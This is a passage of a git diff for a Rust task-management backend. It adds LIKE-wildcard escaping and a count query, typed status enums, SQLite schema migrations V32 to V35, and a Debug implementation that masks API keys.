@@ -122,7 +126,7 @@ impl_repo!(
"INSERT INTO tasks (id, project_id, title, description, status, priority, branch_name, assignee, workflow_def_id, base_branch, review_rounds, output_json, idea_id, queue, parent_id, content_json, created_at, updated_at) "INSERT INTO tasks (id, project_id, title, description, status, priority, branch_name, assignee, workflow_def_id, base_branch, review_rounds, output_json, idea_id, queue, parent_id, content_json, created_at, updated_at)
VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?11, ?12, ?13, ?14, ?15, ?16, ?17, ?18)", VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?11, ?12, ?13, ?14, ?15, ?16, ?17, ?18)",
params![ params![
rec.id, rec.project_id, rec.title, rec.description, rec.status, rec.priority, rec.id, rec.project_id, rec.title, rec.description, rec.status.as_str(), rec.priority,
rec.branch_name, rec.assignee, rec.workflow_def_id, rec.base_branch, rec.branch_name, rec.assignee, rec.workflow_def_id, rec.base_branch,
rec.review_rounds, rec.output_json, rec.idea_id, rec.review_rounds, rec.output_json, rec.idea_id,
rec.queue, rec.parent_id, rec.content_json, rec.queue, rec.parent_id, rec.content_json,
@@ -134,7 +138,7 @@ impl_repo!(
conn.execute( conn.execute(
"UPDATE tasks SET project_id = ?1, title = ?2, description = ?3, status = ?4, priority = ?5, branch_name = ?6, assignee = ?7, workflow_def_id = ?8, base_branch = ?9, review_rounds = ?10, output_json = ?11, idea_id = ?12, queue = ?13, parent_id = ?14, content_json = ?15, updated_at = ?16 WHERE id = ?17", "UPDATE tasks SET project_id = ?1, title = ?2, description = ?3, status = ?4, priority = ?5, branch_name = ?6, assignee = ?7, workflow_def_id = ?8, base_branch = ?9, review_rounds = ?10, output_json = ?11, idea_id = ?12, queue = ?13, parent_id = ?14, content_json = ?15, updated_at = ?16 WHERE id = ?17",
params![ params![
rec.project_id, rec.title, rec.description, rec.status, rec.priority, rec.project_id, rec.title, rec.description, rec.status.as_str(), rec.priority,
rec.branch_name, rec.assignee, rec.workflow_def_id, rec.base_branch, rec.branch_name, rec.assignee, rec.workflow_def_id, rec.base_branch,
rec.review_rounds, rec.output_json, rec.idea_id, rec.review_rounds, rec.output_json, rec.idea_id,
rec.queue, rec.parent_id, rec.content_json, rec.queue, rec.parent_id, rec.content_json,
@@ -374,10 +378,11 @@ impl TaskRepo {
} }
// keyword: title/description LIKE %kw%(P2,对齐知识库 search 的 LIKE 模式) // keyword: title/description LIKE %kw%(P2,对齐知识库 search 的 LIKE 模式)
if let Some(kw) = &keyword { if let Some(kw) = &keyword {
let pat = format!("%{kw}%"); let escaped = kw.replace('%', "\\%").replace('_', "\\_");
let pat = format!("%{escaped}%");
let p1 = params_vec.len() + 1; let p1 = params_vec.len() + 1;
let p2 = p1 + 1; let p2 = p1 + 1;
where_clauses.push(format!("(title LIKE ?{p1} OR description LIKE ?{p2})")); where_clauses.push(format!("(title LIKE ?{p1} OR description LIKE ?{p2}) ESCAPE '\\'"));
params_vec.push(Box::new(pat.clone())); params_vec.push(Box::new(pat.clone()));
params_vec.push(Box::new(pat)); params_vec.push(Box::new(pat));
} }
@@ -432,6 +437,60 @@ impl TaskRepo {
.map_err(storage_err)? .map_err(storage_err)?
} }
/// 按 TaskQuery 条件计数(不含 limit/offset,用于分页 total)。
///
/// 复用 list_by_query 的 WHERE 构造逻辑(仅 WHERE,无 ORDER BY/LIMIT),
/// 返回满足条件的总行数(忽略分页裁剪)。
pub async fn count_by_query(&self, query: &TaskQuery) -> Result<i64> {
let conn = self.conn.clone();
let project_id = query.project_id.clone();
let status = query.status.clone();
let priority = query.priority;
let keyword = query.keyword.clone();
tokio::task::spawn_blocking(move || {
let guard = conn.blocking_lock();
let mut where_clauses: Vec<String> = vec!["deleted_at IS NULL".to_string()];
let mut params_vec: Vec<Box<dyn rusqlite::ToSql>> = Vec::new();
if let Some(ref pid) = project_id {
where_clauses.push(format!("project_id = ?{}", params_vec.len() + 1));
params_vec.push(Box::new(pid.clone()));
}
if let Some(ref s) = status {
where_clauses.push(format!("status = ?{}", params_vec.len() + 1));
params_vec.push(Box::new(s.clone()));
}
if let Some(p) = priority {
where_clauses.push(format!("priority = ?{}", params_vec.len() + 1));
params_vec.push(Box::new(p));
}
if let Some(ref kw) = keyword {
let escaped = kw.replace('%', "\\%").replace('_', "\\_");
let pat = format!("%{escaped}%");
let p1 = params_vec.len() + 1;
let p2 = p1 + 1;
where_clauses.push(format!("(title LIKE ?{p1} OR description LIKE ?{p2}) ESCAPE '\\'"));
params_vec.push(Box::new(pat.clone()));
params_vec.push(Box::new(pat));
}
let sql = format!(
"SELECT COUNT(*) FROM tasks WHERE {}",
where_clauses.join(" AND ")
);
let param_refs: Vec<&dyn rusqlite::ToSql> =
params_vec.iter().map(|p| p.as_ref()).collect();
let count: i64 = guard
.query_row(&sql, param_refs.as_slice(), |row| row.get(0))
.map_err(storage_err)?;
Ok(count)
})
.await
.map_err(|e| storage_err(format!("count_by_query join failed: {e}")))?
}
/// 查某父任务的全部子任务(parent_id = ?,deleted_at IS NULL),按创建时间升序。 /// 查某父任务的全部子任务(parent_id = ?,deleted_at IS NULL),按创建时间升序。
/// ///
/// 知识图谱 Phase 1 V29(对标设计 §2.1 父任务聚合规则):父任务=容器模型,status /// 知识图谱 Phase 1 V29(对标设计 §2.1 父任务聚合规则):父任务=容器模型,status
@@ -566,20 +625,21 @@ mod tests {
use super::*; use super::*;
use crate::crud::ProjectRepo; use crate::crud::ProjectRepo;
use crate::models::ProjectRecord; use crate::models::ProjectRecord;
use df_types::types::{ProjectStatus, TaskStatus};
/// 构造一条 TaskRecord fixture(queue/parent_id/status 可定制,V29 新维度 + 聚合测试用 status)。 /// 构造一条 TaskRecord fixture(queue/parent_id/status 可定制,V29 新维度 + 聚合测试用 status)。
fn trec(id: &str, queue: &str, parent_id: Option<&str>) -> TaskRecord { fn trec(id: &str, queue: &str, parent_id: Option<&str>) -> TaskRecord {
trec_full(id, queue, parent_id, "todo") trec_full(id, queue, parent_id, TaskStatus::Todo)
} }
/// 全参 fixture(聚合测试需自定义 status 时用)。 /// 全参 fixture(聚合测试需自定义 status 时用)。
fn trec_full(id: &str, queue: &str, parent_id: Option<&str>, status: &str) -> TaskRecord { fn trec_full(id: &str, queue: &str, parent_id: Option<&str>, status: TaskStatus) -> TaskRecord {
TaskRecord { TaskRecord {
id: id.to_string(), id: id.to_string(),
project_id: "proj-1".to_string(), project_id: "proj-1".to_string(),
title: format!("task-{id}"), title: format!("task-{id}"),
description: String::new(), description: String::new(),
status: status.to_string(), status,
priority: 1, priority: 1,
branch_name: None, branch_name: None,
assignee: None, assignee: None,
@@ -605,7 +665,7 @@ mod tests {
id: "proj-1".to_string(), id: "proj-1".to_string(),
name: "proj-1".to_string(), name: "proj-1".to_string(),
description: String::new(), description: String::new(),
status: "active".to_string(), status: ProjectStatus::Planning,
idea_id: None, idea_id: None,
path: None, path: None,
stack: None, stack: None,
@@ -778,13 +838,13 @@ mod tests {
async fn set_status_for_aggregation_writes_status() { async fn set_status_for_aggregation_writes_status() {
let repo = setup().await; let repo = setup().await;
// 父任务初始 todo(queue=todo, parent_id=None 容器模型) // 父任务初始 todo(queue=todo, parent_id=None 容器模型)
repo.insert(trec_full("parent", "todo", None, "todo")) repo.insert(trec_full("parent", "todo", None, TaskStatus::Todo))
.await .await
.unwrap(); .unwrap();
let ok = repo.set_status_for_aggregation("parent", "in_progress").await.unwrap(); let ok = repo.set_status_for_aggregation("parent", "in_progress");
assert!(ok, "应命中写入"); assert!(ok, "应命中写入");
let after = repo.get_by_id("parent").await.unwrap().unwrap(); let after = repo.get_by_id("parent").await.unwrap().unwrap();
assert_eq!(after.status, "in_progress", "status 应被聚合写入更新"); assert_eq!(after.status.as_str(), "in_progress", "status 应被聚合写入更新");
assert_eq!(after.review_rounds, 0, "父聚合写入不动 review_rounds"); assert_eq!(after.review_rounds, 0, "父聚合写入不动 review_rounds");
} }
@@ -792,7 +852,7 @@ mod tests {
async fn set_status_for_aggregation_skips_soft_deleted() { async fn set_status_for_aggregation_skips_soft_deleted() {
// 软删任务(回收站)不进聚合写入(WHERE deleted_at IS NULL),返回 false // 软删任务(回收站)不进聚合写入(WHERE deleted_at IS NULL),返回 false
let repo = setup().await; let repo = setup().await;
repo.insert(trec_full("parent", "todo", None, "todo")) repo.insert(trec_full("parent", "todo", None, TaskStatus::Todo))
.await .await
.unwrap(); .unwrap();
repo.soft_delete("parent").await.unwrap(); repo.soft_delete("parent").await.unwrap();

View File

@@ -43,7 +43,9 @@ pub fn run(conn: &Connection) -> Result<()> {
// V31 = 知识图谱 Phase 3 基础设施数据层(对标设计 §2.3):project_services 表, // V31 = 知识图谱 Phase 3 基础设施数据层(对标设计 §2.3):project_services 表,
// 项目基础设施配置(数据库/缓存/MQ/API 等),为 AI 执行任务时提供"这项目用了 // 项目基础设施配置(数据库/缓存/MQ/API 等),为 AI 执行任务时提供"这项目用了
// 什么数据库、Redis 在哪、有没有 MQ"的基础设施上下文。 // 什么数据库、Redis 在哪、有没有 MQ"的基础设施上下文。
let steps: [(i32, fn(&Connection) -> Result<()>); 31] = [ // V33 = 审批重启恢复:ai_conversations 加 pending_approvals TEXT 列,持久化挂起审批快照,
// 重启后从 DB 恢复 pending_approvals 内存态,使待审批不丢。
let steps: [(i32, fn(&Connection) -> Result<()>); 35] = [
(1, migrate_v1), (1, migrate_v1),
(2, migrate_v2), (2, migrate_v2),
(3, migrate_v3), (3, migrate_v3),
@@ -75,6 +77,10 @@ pub fn run(conn: &Connection) -> Result<()> {
(29, migrate_v29), (29, migrate_v29),
(30, migrate_v30), (30, migrate_v30),
(31, migrate_v31), (31, migrate_v31),
(32, migrate_v32),
(33, migrate_v33),
(34, migrate_v34),
(35, migrate_v35),
]; ];
for (version, migrate_fn) in steps { for (version, migrate_fn) in steps {
@@ -902,6 +908,128 @@ fn migrate_v31(conn: &Connection) -> Result<()> {
Ok(()) Ok(())
} }
/// V32: ai_conversations 加 pinned_goals 列(对话透明化 L1 目标钉扎持久化)
///
/// 对话目标由 PerConvState.pinned_goals(Vec<String>)管理,原先仅在内存态存在,
/// 此迁移为其提供持久化列,默认空 JSON 数组'[]'。
fn migrate_v32(conn: &Connection) -> Result<()> {
conn.execute_batch(
"ALTER TABLE ai_conversations ADD COLUMN pinned_goals TEXT DEFAULT '[]';"
)?;
tracing::info!("v32: ai_conversations 加 pinned_goals 列");
conn.execute("INSERT INTO schema_version (version) VALUES (?)", [32])?;
tracing::info!("迁移 v32 完成");
Ok(())
}
fn migrate_v33(conn: &Connection) -> Result<()> {
// 用 PRAGMA 探测列存在性,缺失才 ALTER,对新库/老库/坏库均安全(同 v4 模式)
let has_col: bool = conn
.query_row(
"SELECT COUNT(*) > 0 FROM pragma_table_info('ai_conversations') WHERE name = 'pending_approvals'",
[],
|row| row.get(0),
)
.unwrap_or(false);
if !has_col {
conn.execute_batch(
"ALTER TABLE ai_conversations ADD COLUMN pending_approvals TEXT DEFAULT '{}';"
)?;
tracing::info!("v33: ai_conversations 加 pending_approvals 列(审批重启恢复)");
} else {
tracing::info!("v33: pending_approvals 列已存在,跳过");
}
// 任务4: workflow_executions.updated_at 列 —— 工作流执行记录更新时间戳(用于排序/增量同步/中文)。
// 同样用 PRAGMA 探测列存在性(同 v4 模式),缺失才 ALTER;若表本身不存在(极端坏库),跳过该列不阻断迁移。
let has_updated_at: bool = conn
.query_row(
"SELECT COUNT(*) > 0 FROM pragma_table_info('workflow_executions') WHERE name = 'updated_at'",
[],
|row| row.get(0),
)
.unwrap_or(false);
if !has_updated_at {
// workflow_executions 表在 V1 建表,此处仅加列。若表不存在(理论上 V1 必建,但坏库防御)
// pragma_table_info 返 0 行,has_updated_at 为 false,会尝试 ALTER → 报错被跳过(下面 match)。
match conn.execute_batch("ALTER TABLE workflow_executions ADD COLUMN updated_at TEXT;") {
Ok(_) => tracing::info!("v33: workflow_executions 加 updated_at 列"),
Err(e) => tracing::warn!("v33: workflow_executions.updated_at 加列失败(表不存在?)跳过: {}", e),
}
} else {
tracing::info!("v33: workflow_executions.updated_at 列已存在,跳过");
}
conn.execute("INSERT INTO schema_version (version) VALUES (?)", [33])?;
tracing::info!("迁移 v33 完成");
Ok(())
}
/// V34:工程系统—project_modules 表(项目多工程,每个工程独立代码仓库)
///
/// 一个项目可含多个工程(Monorepo 多仓库 / 微服务 / 前后端分离)。
/// 每个工程有独立的目录(path)、Git 地址(git_url)、技术栈(stack)。
/// 单仓库项目退化:项目下只有一个工程(path = 绑定目录)。
///
/// Git 状态(分支/改动/提交)是实时派生的(查 git 命令),不存表。
fn migrate_v34(conn: &Connection) -> Result<()> {
conn.execute(
"CREATE TABLE IF NOT EXISTS project_modules (
id TEXT PRIMARY KEY,
project_id TEXT NOT NULL REFERENCES projects(id),
name TEXT NOT NULL,
path TEXT NOT NULL,
git_url TEXT,
stack TEXT,
auto_detected BOOLEAN NOT NULL DEFAULT FALSE,
sort_order INTEGER NOT NULL DEFAULT 0,
created_at TEXT NOT NULL,
updated_at TEXT NOT NULL
)",
[],
)?;
conn.execute(
"CREATE INDEX IF NOT EXISTS idx_project_modules_project ON project_modules(project_id)",
[],
)?;
tracing::info!("v34: 建 project_modules 表 + 索引(工程系统)");
conn.execute("INSERT INTO schema_version (version) VALUES (?)", [34])?;
tracing::info!("迁移 v34 完成");
Ok(())
}
/// V35:工程依赖关系—module_dependencies 表(工程间依赖边,用于依赖图)
///
/// dep_type 枚举值:library(类库) / api(API调用) / mq(消息队列) / shared(共享资源) / custom(自定义)
fn migrate_v35(conn: &Connection) -> Result<()> {
conn.execute(
"CREATE TABLE IF NOT EXISTS module_dependencies (
id TEXT PRIMARY KEY,
project_id TEXT NOT NULL REFERENCES projects(id),
from_module_id TEXT NOT NULL REFERENCES project_modules(id),
to_module_id TEXT NOT NULL REFERENCES project_modules(id),
dep_type TEXT NOT NULL DEFAULT 'library',
label TEXT,
created_at TEXT NOT NULL
)",
[],
)?;
conn.execute(
"CREATE INDEX IF NOT EXISTS idx_module_deps_project ON module_dependencies(project_id)",
[],
)?;
conn.execute(
"CREATE INDEX IF NOT EXISTS idx_module_deps_from ON module_dependencies(from_module_id)",
[],
)?;
conn.execute(
"CREATE INDEX IF NOT EXISTS idx_module_deps_to ON module_dependencies(to_module_id)",
[],
)?;
tracing::info!("v35: 建 module_dependencies 表 + 索引(工程依赖图)");
conn.execute("INSERT INTO schema_version (version) VALUES (?)", [35])?;
tracing::info!("迁移 v35 完成");
Ok(())
}
/// V21 建表 SQL — 消息拆分存储 ai_messages 表 /// V21 建表 SQL — 消息拆分存储 ai_messages 表
/// ///
/// 与 V9_SQL 中的 ai_messages 镜像(V9 给新库,此 const 给老库 V21 迁移用 IF NOT EXISTS)。 /// 与 V9_SQL 中的 ai_messages 镜像(V9 给新库,此 const 给老库 V21 迁移用 IF NOT EXISTS)。

View File

@@ -1,6 +1,7 @@
//! 数据模型定义 — 与数据库表对应的 Rust 结构体 //! 数据模型定义 — 与数据库表对应的 Rust 结构体
use df_ai_core::model::{deserialize_model_configs, ModelConfig}; use df_ai_core::model::{deserialize_model_configs, ModelConfig};
use df_types::types::{IdeaStatus, LinkType, NodeType, ProjectStatus, TaskStatus};
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
// ============================================================ // ============================================================
@@ -13,7 +14,7 @@ pub struct IdeaRecord {
pub id: String, pub id: String,
pub title: String, pub title: String,
pub description: String, pub description: String,
pub status: String, pub status: IdeaStatus,
pub priority: i32, pub priority: i32,
pub score: Option<f64>, pub score: Option<f64>,
pub tags: Option<String>, // JSON 数组 pub tags: Option<String>, // JSON 数组
@@ -53,7 +54,7 @@ pub struct ProjectRecord {
pub id: String, pub id: String,
pub name: String, pub name: String,
pub description: String, pub description: String,
pub status: String, pub status: ProjectStatus,
pub idea_id: Option<String>, pub idea_id: Option<String>,
/// 绑定的本地代码目录(绝对路径,可空=未绑定,第二步导入历史项目时复用) /// 绑定的本地代码目录(绝对路径,可空=未绑定,第二步导入历史项目时复用)
pub path: Option<String>, pub path: Option<String>,
@@ -74,7 +75,7 @@ pub struct TaskRecord {
pub project_id: String, pub project_id: String,
pub title: String, pub title: String,
pub description: String, pub description: String,
pub status: String, pub status: TaskStatus,
pub priority: i32, pub priority: i32,
pub branch_name: Option<String>, pub branch_name: Option<String>,
pub assignee: Option<String>, pub assignee: Option<String>,
@@ -134,14 +135,14 @@ pub struct TaskRecord {
/// - `blocks`:source 阻塞 target(source 不完成则 target 无法推进)→ 依赖的反向声明 /// - `blocks`:source 阻塞 target(source 不完成则 target 无法推进)→ 依赖的反向声明
/// - `relates_to`:弱关联,无执行约束 → 上下文提示 /// - `relates_to`:弱关联,无执行约束 → 上下文提示
/// - `remark`:可选备注。 /// - `remark`:可选备注。
/// - 循环依赖(A→B→A)在 `TaskLinkRepo::create_link` 应用层 BFS 检测拒绝(非 DB 约束, /// 循环依赖(A→B→A)在 `TaskLinkRepo::create_link` 应用层 BFS 检测拒绝(非 DB 约束,
/// 对标设计 D8:task_links 数据量小,检测成本)。跨项目依赖允许。 /// 对标设计 D8:task_links 数据量小,检测成本)。跨项目依赖允许。
#[derive(Debug, Clone, Serialize, Deserialize)] #[derive(Debug, Clone, Serialize, Deserialize)]
pub struct TaskLinkRecord { pub struct TaskLinkRecord {
pub id: String, pub id: String,
pub source_id: String, pub source_id: String,
pub target_id: String, pub target_id: String,
pub link_type: String, pub link_type: LinkType,
pub remark: Option<String>, pub remark: Option<String>,
pub created_at: String, pub created_at: String,
} }
@@ -265,7 +266,7 @@ pub struct NodeExecutionRecord {
pub id: String, pub id: String,
pub workflow_id: String, pub workflow_id: String,
pub node_id: String, pub node_id: String,
pub node_type: String, pub node_type: NodeType,
pub status: String, pub status: String,
pub input_json: Option<String>, pub input_json: Option<String>,
pub output_json: Option<String>, pub output_json: Option<String>,
@@ -279,7 +280,9 @@ pub struct NodeExecutionRecord {
// ============================================================ // ============================================================
/// AI 提供商配置记录 /// AI 提供商配置记录
#[derive(Debug, Clone, Serialize, Deserialize)] ///
/// 自定义 Debug: api_key 脱敏为 `"sk-****"`, model_configs / config 脱敏为 `"***"`。
#[derive(Clone, Serialize, Deserialize)]
pub struct AiProviderRecord { pub struct AiProviderRecord {
pub id: String, pub id: String,
pub name: String, pub name: String,
@@ -307,6 +310,27 @@ pub struct AiProviderRecord {
pub weight: u32, pub weight: u32,
} }
impl std::fmt::Debug for AiProviderRecord {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
f.debug_struct("AiProviderRecord")
.field("id", &self.id)
.field("name", &self.name)
.field("provider_type", &self.provider_type)
.field("api_key", &"sk-****")
.field("base_url", &self.base_url)
.field("default_model", &self.default_model)
.field("models", &self.models)
.field("model_configs", &"***")
.field("is_default", &self.is_default)
.field("config", &"***")
.field("created_at", &self.created_at)
.field("updated_at", &self.updated_at)
.field("enabled", &self.enabled)
.field("weight", &self.weight)
.finish()
}
}
/// AiProviderRecord.enabled 的 serde 默认(true)。老库/缺字段 JSON → enabled。 /// AiProviderRecord.enabled 的 serde 默认(true)。老库/缺字段 JSON → enabled。
fn default_enabled() -> bool { fn default_enabled() -> bool {
true true
@@ -336,6 +360,8 @@ pub struct AiConversationRecord {
pub pinned: bool, // 是否置顶(排序置前;UX-17) pub pinned: bool, // 是否置顶(排序置前;UX-17)
pub prompt_tokens: Option<i64>, // 输入 token 累计(流式 usage 落库) pub prompt_tokens: Option<i64>, // 输入 token 累计(流式 usage 落库)
pub completion_tokens: Option<i64>, // 输出 token 累计(流式 usage 落库) pub completion_tokens: Option<i64>, // 输出 token 累计(流式 usage 落库)
pub pinned_goals: Option<String>, // 对话目标钉扎持久化(JSON 字符串数组,默认'[]')
pub pending_approvals: Option<String>, // 挂起审批快照(JSON 对象,以 tool_call_id 为键,默认'{}')
pub created_at: String, pub created_at: String,
pub updated_at: String, pub updated_at: String,
} }
@@ -438,3 +464,36 @@ pub struct KnowledgeEventRecord {
pub context_json: Option<String>, // JSON: 因 event_type 而异 pub context_json: Option<String>, // JSON: 因 event_type 而异
pub timestamp: String, pub timestamp: String,
} }
/// 工程记录(project_modules 表,项目多工程,每个工程独立代码仓库)
///
/// 一个项目可含多个工程(Monorepo 多仓库 / 微服务 / 前后端分离)。
/// 每个工程有独立的目录(`path`)、Git 地址(`git_url`)、技术栈(`stack`)。
/// Git 状态(分支/改动/提交)是实时派生的(查 git 命令),不存表。
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ProjectModuleRecord {
pub id: String,
pub project_id: String,
pub name: String,
pub path: String,
pub git_url: Option<String>,
pub stack: Option<String>, // 技术栈 JSON 字符串
pub auto_detected: bool,
pub sort_order: i32,
pub created_at: String,
pub updated_at: String,
}
/// 工程依赖关系记录(V35 module_dependencies 表)。
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
pub struct ModuleDependencyRecord {
pub id: String,
pub project_id: String,
pub from_module_id: String,
pub to_module_id: String,
/// 依赖类型:library / api / mq / shared / custom
pub dep_type: String,
/// 可选标签(自定义描述)
pub label: Option<String>,
pub created_at: String,
}

View File

@@ -8,6 +8,7 @@
use df_storage::crud::{BranchRepo, ProjectRepo, ReleaseRepo, TaskRepo}; use df_storage::crud::{BranchRepo, ProjectRepo, ReleaseRepo, TaskRepo};
use df_storage::db::Database; use df_storage::db::Database;
use df_storage::models::{BranchRecord, ProjectRecord, ReleaseRecord, TaskRecord}; use df_storage::models::{BranchRecord, ProjectRecord, ReleaseRecord, TaskRecord};
use df_types::types::{ProjectStatus, TaskStatus};
// ---------- fixtures ---------- // ---------- fixtures ----------
@@ -20,7 +21,7 @@ fn project(id: &str) -> ProjectRecord {
id: id.to_string(), id: id.to_string(),
name: format!("proj-{id}"), name: format!("proj-{id}"),
description: "desc".to_string(), description: "desc".to_string(),
status: "active".to_string(), status: ProjectStatus::Planning,
idea_id: None, idea_id: None,
path: None, path: None,
stack: None, stack: None,
@@ -35,7 +36,7 @@ fn task(id: &str, project_id: &str) -> TaskRecord {
project_id: project_id.to_string(), project_id: project_id.to_string(),
title: format!("task-{id}"), title: format!("task-{id}"),
description: "desc".to_string(), description: "desc".to_string(),
status: "todo".to_string(), status: TaskStatus::Todo,
priority: 1, priority: 1,
branch_name: None, branch_name: None,
assignee: None, assignee: None,
@@ -268,7 +269,7 @@ async fn update_field_rejects_tasks_status() {
// 对照:status 未被改写,仍为初始值(task fixture 的初始 status) // 对照:status 未被改写,仍为初始值(task fixture 的初始 status)
let rec = tasks.get_by_id("t1").await.unwrap().unwrap(); let rec = tasks.get_by_id("t1").await.unwrap().unwrap();
assert_ne!(rec.status, "done", "白名单拒绝后 status 不应被改写"); assert_ne!(rec.status.as_str(), "done", "白名单拒绝后 status 不应被改写");
} }
#[tokio::test] #[tokio::test]

View File

@@ -160,6 +160,9 @@ pub enum Augmentation {
/// 脱敏后的项目路径(远程 provider 仅 basename / 本地全路径);无目录绑定时为 None。 /// 脱敏后的项目路径(远程 provider 仅 basename / 本地全路径);无目录绑定时为 None。
#[serde(rename = "path", default, skip_serializing_if = "Option::is_none")] #[serde(rename = "path", default, skip_serializing_if = "Option::is_none")]
path: Option<SanitizedPath>, path: Option<SanitizedPath>,
/// Phase 4:项目关联信息(前 N 条任务/灵感/知识)。
#[serde(default, skip_serializing_if = "Vec::is_empty")]
extra: Vec<String>,
}, },
/// @任务 注入体 /// @任务 注入体
Task { Task {
@@ -174,6 +177,9 @@ pub enum Augmentation {
/// 所属项目名(join 展示用);游离任务为 None。 /// 所属项目名(join 展示用);游离任务为 None。
#[serde(rename = "project_name", default, skip_serializing_if = "Option::is_none")] #[serde(rename = "project_name", default, skip_serializing_if = "Option::is_none")]
project_name: Option<String>, project_name: Option<String>,
/// Phase 4:任务关联信息(关联任务/所属项目上下文)。
#[serde(default, skip_serializing_if = "Vec::is_empty")]
extra: Vec<String>,
}, },
/// @灵感 注入体 /// @灵感 注入体
Idea { Idea {
@@ -185,6 +191,9 @@ pub enum Augmentation {
status: IdeaStatus, status: IdeaStatus,
#[serde(rename = "description")] #[serde(rename = "description")]
description: String, description: String,
/// Phase 4:灵感关联信息(已立项时所属项目)。
#[serde(default, skip_serializing_if = "Vec::is_empty")]
extra: Vec<String>,
}, },
/// /技能 注入体 /// /技能 注入体
Skill { Skill {

View File

@@ -2,7 +2,7 @@
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
use crate::types::NodeId; use crate::types::{ExecutionId, NodeId};
/// 人工审批选择类型(F-260615-01) /// 人工审批选择类型(F-260615-01)
/// - Single: 单选(decision 单值),缺省值,向后兼容现有调用方 /// - Single: 单选(decision 单值),缺省值,向后兼容现有调用方
@@ -24,7 +24,7 @@ pub enum SelectType {
/// 旧调用方仍可只填 decision,HumanNode 下游兼容两者。 /// 旧调用方仍可只填 decision,HumanNode 下游兼容两者。
#[derive(Debug, Clone, Serialize, Deserialize)] #[derive(Debug, Clone, Serialize, Deserialize)]
pub struct HumanApprovalResponse { pub struct HumanApprovalResponse {
pub execution_id: String, pub execution_id: ExecutionId,
pub node_id: NodeId, pub node_id: NodeId,
pub decision: String, pub decision: String,
#[serde(default)] #[serde(default)]
@@ -81,7 +81,7 @@ pub enum WorkflowEvent {
/// #[serde(default)] 向后兼容: 老事件/老 DB 反序列化(无 execution_id)填空串不炸。 /// #[serde(default)] 向后兼容: 老事件/老 DB 反序列化(无 execution_id)填空串不炸。
WorkflowCompleted { WorkflowCompleted {
#[serde(default)] #[serde(default)]
execution_id: String, execution_id: ExecutionId,
total_duration_ms: u64, total_duration_ms: u64,
}, },
/// 工作流执行失败 /// 工作流执行失败
@@ -89,13 +89,13 @@ pub enum WorkflowEvent {
/// B-03b-R10 ③(波17 治本): execution_id 字段标识本次终态事件归属的工作流执行(同 WorkflowCompleted)。 /// B-03b-R10 ③(波17 治本): execution_id 字段标识本次终态事件归属的工作流执行(同 WorkflowCompleted)。
WorkflowFailed { WorkflowFailed {
#[serde(default)] #[serde(default)]
execution_id: String, execution_id: ExecutionId,
error: String, error: String,
failed_node: NodeId, failed_node: NodeId,
}, },
/// 人工审批请求 /// 人工审批请求
HumanApprovalRequest { HumanApprovalRequest {
execution_id: String, execution_id: ExecutionId,
node_id: NodeId, node_id: NodeId,
title: String, title: String,
description: String, description: String,
@@ -106,7 +106,7 @@ pub enum WorkflowEvent {
}, },
/// 人工审批响应 /// 人工审批响应
HumanApprovalResponse { HumanApprovalResponse {
execution_id: String, execution_id: ExecutionId,
node_id: NodeId, node_id: NodeId,
decision: String, decision: String,
/// F-260615-01: 多选结果(Single 模式长度=1,Multiple 模式长度≥1) /// F-260615-01: 多选结果(Single 模式长度=1,Multiple 模式长度≥1)

View File

@@ -26,6 +26,12 @@ pub type PluginId = String;
pub type ExecutionId = String; pub type ExecutionId = String;
/// 决策 ID /// 决策 ID
pub type DecisionId = String; pub type DecisionId = String;
/// 节点类型(如 ai / human / ai_self_review)
pub type NodeType = String;
/// 任务链接类型(如 depends_on / blocks / relates_to)
pub type LinkType = String;
/// 工具调用类型(如 function)
pub type ToolCallType = String;
// ============================================================ // ============================================================
// 时间工具 // 时间工具
@@ -66,7 +72,9 @@ pub enum IdeaStatus {
impl IdeaStatus { impl IdeaStatus {
/// 返回数据库存储用的小写字符串 /// 返回数据库存储用的小写字符串
pub fn as_str(&self) -> &'static str { ///
/// `const fn`(与 TaskStatus::as_str 对齐,允许调用方在 const 上下文使用)。
pub const fn as_str(&self) -> &'static str {
match self { match self {
IdeaStatus::Draft => "draft", IdeaStatus::Draft => "draft",
IdeaStatus::PendingReview => "pending_review", IdeaStatus::PendingReview => "pending_review",
@@ -122,7 +130,9 @@ pub enum ProjectStatus {
impl ProjectStatus { impl ProjectStatus {
/// 返回数据库存储用的小写字符串 /// 返回数据库存储用的小写字符串
pub fn as_str(&self) -> &'static str { ///
/// `const fn`(与 TaskStatus::as_str 对齐,允许调用方在 const 上下文使用)。
pub const fn as_str(&self) -> &'static str {
match self { match self {
ProjectStatus::Planning => "planning", ProjectStatus::Planning => "planning",
ProjectStatus::InProgress => "in_progress", ProjectStatus::InProgress => "in_progress",
@@ -180,7 +190,10 @@ pub enum TaskStatus {
impl TaskStatus { impl TaskStatus {
/// 返回数据库存储用的小写字符串 /// 返回数据库存储用的小写字符串
pub fn as_str(&self) -> &'static str { ///
/// `const fn` 使调用方可在 `const` 上下文调用(任务 #17 合并:df-nodes 的
/// `task_state_machine` 字符串常量从本方法派生,消除双源柡移)。
pub const fn as_str(&self) -> &'static str {
match self { match self {
TaskStatus::Todo => "todo", TaskStatus::Todo => "todo",
TaskStatus::InProgress => "in_progress", TaskStatus::InProgress => "in_progress",

View File

@@ -11,7 +11,7 @@ edition = "2021"
# 开启时:节点收集 inputs 前,对带 condition 的入边以 source output 为 context 求值; # 开启时:节点收集 inputs 前,对带 condition 的入边以 source output 为 context 求值;
# 求值 false 则该前驱 input 不收集,且若该节点所有入边(含 condition)均被过滤, # 求值 false 则该前驱 input 不收集,且若该节点所有入边(含 condition)均被过滤,
# 则跳过该节点执行(保持 Pending),实现条件路由。 # 则跳过该节点执行(保持 Pending),实现条件路由。
default = [] default = ["conditions-eval"]
conditions-eval = [] conditions-eval = []
[dependencies] [dependencies]

View File

@@ -165,9 +165,10 @@ impl Default for Dag {
/// ///
/// 规则: /// 规则:
/// - 两端均为 Object递归合并同 key 时节点级覆盖全局级,新增 key 各自保留)。 /// - 两端均为 Object递归合并同 key 时节点级覆盖全局级,新增 key 各自保留)。
/// - 非两端 Object节点级直接覆盖全局级(包括 `Null`,符合 JSON 显式空语义) /// - 非 Object/Null 两端:节点级直接覆盖全局级。
